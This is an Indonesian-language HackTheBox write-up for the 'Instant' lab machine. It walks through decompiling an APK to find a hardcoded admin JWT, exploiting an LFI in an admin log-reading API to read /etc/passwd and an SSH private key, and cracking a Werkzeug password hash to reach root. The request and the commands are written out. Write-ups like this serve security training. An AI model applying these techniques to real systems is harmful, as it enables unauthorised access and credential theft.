Instant — HackTheBox Writeup

Halo semuanya, di konten kali ini gw akan share writeup salah satu machine yang ada di hackthebox, Instant.

Mari kita mulai dan awali dengan melakukan information gathering menggunakan nmap, dan hasil yang kita dapatkan ada 2 port yang terbuka, 22 dan 80

PORT   STATE SERVICE
22/tcp open ssh
80/tcp open http

kita masukan host nya ke etc/hosts

└─# echo “10.10.11.37 instant.htb” >> /etc/hosts

ketika websitenya dibuka, maka kita bisa lihat ada download now, kita click dan kita akan mendapatkan .apk file. Kita akan reverse apk tersebut dengan apktool command apktool d instant.apk

kita fokus ke direktori instant/smali/com/instantlabs/instant

┌──(root㉿kali)-[~/Downloads/instant]
└─# cd smali/com/instantlabs/instant

┌──(root㉿kali)-[~/…/smali/com/instantlabs/instant]
└─# ls
'AdminActivities$1.smali' 'LoginActivity$3.smali' MainActivity.smali 'R$color.smali' 'R$style.smali' 'RegisterActivity$3$3.smali' 'TransactionActivity$1.smali'
AdminActivities.smali 'LoginActivity$4$1.smali' 'ProfileActivity$1$1.smali' 'R$drawable.smali' 'R$xml.smali' 'RegisterActivity$3.smali' 'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali' 'LoginActivity$4$2.smali' 'ProfileActivity$1$2.smali' 'R$id.smali' 'RegisterActivity$1.smali' RegisterActivity.smali 'TransactionActivity$2$2$1.smali'
ForgotPasswordActivity.smali 'LoginActivity$4$3.smali' 'ProfileActivity$1.smali' 'R$layout.smali' 'RegisterActivity$2.smali' R.smali 'TransactionActivity$2$2.smali'
'LoginActivity$1.smali' 'LoginActivity$4.smali' 'ProfileActivity$2.smali' 'R$mipmap.smali' 'RegisterActivity$3$1.smali' 'SplashActivity$1.smali' 'TransactionActivity$2.smali'
'LoginActivity$2.smali' LoginActivity.smali ProfileActivity.smali 'R$string.smali' 'RegisterActivity$3$2.smali' SplashActivity.smali TransactionActivity.smali

┌──(root㉿kali)-[~/…/smali/com/instantlabs/instant]
└─# cat AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"


# direct methods
.method public constructor <init>()V
.locals 0

.line 19
invoke-direct {p0}, Ljava/lang/Object;-><init>()V

return-void
.end method

.method private TestAdminAuthorization()Ljava/lang/String;
.locals 4

.line 22
new-instance v0, Lokhttp3/OkHttpClient;

invoke-direct {v0}, Lokhttp3/OkHttpClient;-><init>()V

.line 23
new-instance v1, Lokhttp3/Request$Builder;

invoke-direct {v1}, Lokhttp3/Request$Builder;-><init>()V

const-string v2, "http://mywalletv1.instant.htb/api/v1/view/profile"

.line 24
invoke-virtual {v1, v2}, Lokhttp3/Request$Builder;->url(Ljava/lang/String;)Lokhttp3/Request$Builder;

move-result-object v1

const-string v2, "Authorization"

const-string v3, "eyJhbGciO...............eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"

.line 25
invoke-virtual {v1, v2, v3}, Lokhttp3/Request$Builder;->addHeader(Ljava/lang/String;Ljava/lang/String;)Lokhttp3/Request$Builder;

move-result-object v1

.line 26
invoke-virtual {v1}, Lokhttp3/Request$Builder;->build()Lokhttp3/Request;

move-result-object v1

.line 27
invoke-virtual {v0, v1}, Lokhttp3/OkHttpClient;->newCall(Lokhttp3/Request;)Lokhttp3/Call;

move-result-object v0

new-instance v1, Lcom/instantlabs/instant/AdminActivities$1;

invoke-direct {v1, p0}, Lcom/instantlabs/instant/AdminActivities$1;-><init>(Lcom/instantlabs/instant/AdminActivities;)V

invoke-interface {v0, v1}, Lokhttp3/Call;->enqueue(Lokhttp3/Callback;)V

const-string v0, "Done"

return-object v0
.end method

disini kita mendapatkan hardcoded jwt token. Setelah mencari lebih dalam disini kita dapatkan endpoint api unauthorized

Disini kita tambahkan header Authorization untuk memberikan value jwt yang kita dapat tadi, dan kita berhasil mendapatkan informasi dari jwtnya.

Selanjutnya, kita akan berpindah ke subdomain lainnya untuk mendapatkan vulnerabilitynya, berdasarkan file sebelumnya, disini ada url lain yang bisa kita enumerasi lebih lanjut

┌──(root㉿kali)-[~/Downloads/instant/res/xml]
└─# ls
backup_rules.xml data_extraction_rules.xml network_security_config.xml

┌──(root㉿kali)-[~/Downloads/instant/res/xml]
└─# cat network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
<domain-config cleartextTrafficPermitted="true">
<domain includeSubdomains="true">mywalletv1.instant.htb</domain>
<domain includeSubdomains="true">swagger-ui.instant.htb</domain>
</domain-config>
</network-security-config>

kita akan masukan value acak dan execute

kita akan dapatkan request seperti dibawah ini. Kita tambahkan dengan authorization yang kita dapatkan tadi

GET /api/v1/admin/read/log?log_file_name=1.log HTTP/1.1
Host: swagger-ui.instant.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

dan lakukan exploitasi LFI di endpoint tersebut.

kita dapat isi file dari /etc/passwd, selanjutnya kita akan mengambil informasi mengenai id rsa dari .ssh direktori. Kita dapatkan key valuenya

Kita masukan key tersebut ke dalam sebuah file dengan nama id_rsa dan berikan permision chmod 600, lalu kita login ssh dengan id rsa tersebut sehingga kita bisa mendapatkan user.txt nya dan login sebagai user

┌──(root㉿kali)-[~]
└─# ssh -i id_rsa shirohige@instant.htb

Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
shirohige@instant:~$ cat user.txt
8da1628898611f................

Selanjutnya adalah mencari rootnya, disini gw mendapatkan sqlite database di dalam folder

shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ ls
instant.db

dan ketika dilihat didalamnya ada sebuah hash, yang dimana hash tersebut menggunakan Werkzeug hashing, kita akan coba crack hash tersebut dengan https://github.com/Mrterrestrial/WerkzeugHashCracker

┌──(root㉿kali)-[~/WerkzeugHashCracker]
└─# python3 app.py pbkdf2:sha256:.............c9af2f762726971d8a28272c550ed -w /usr/share/wordlists/rockyou.txt

Disini didapatkan passwordnya adalah 12**24nzC……… kita akan coba gunakan su root di ssh shirohige, dan melihat isi dari root.txt

shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ su root                                                                                                                                                                
Password:
root@instant:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance# cd
root@instant:~# ls
root.txt
root@instant:~# cat root.txt
3ccb52de0f..................

Leave a Reply

Your email address will not be published. Required fields are marked *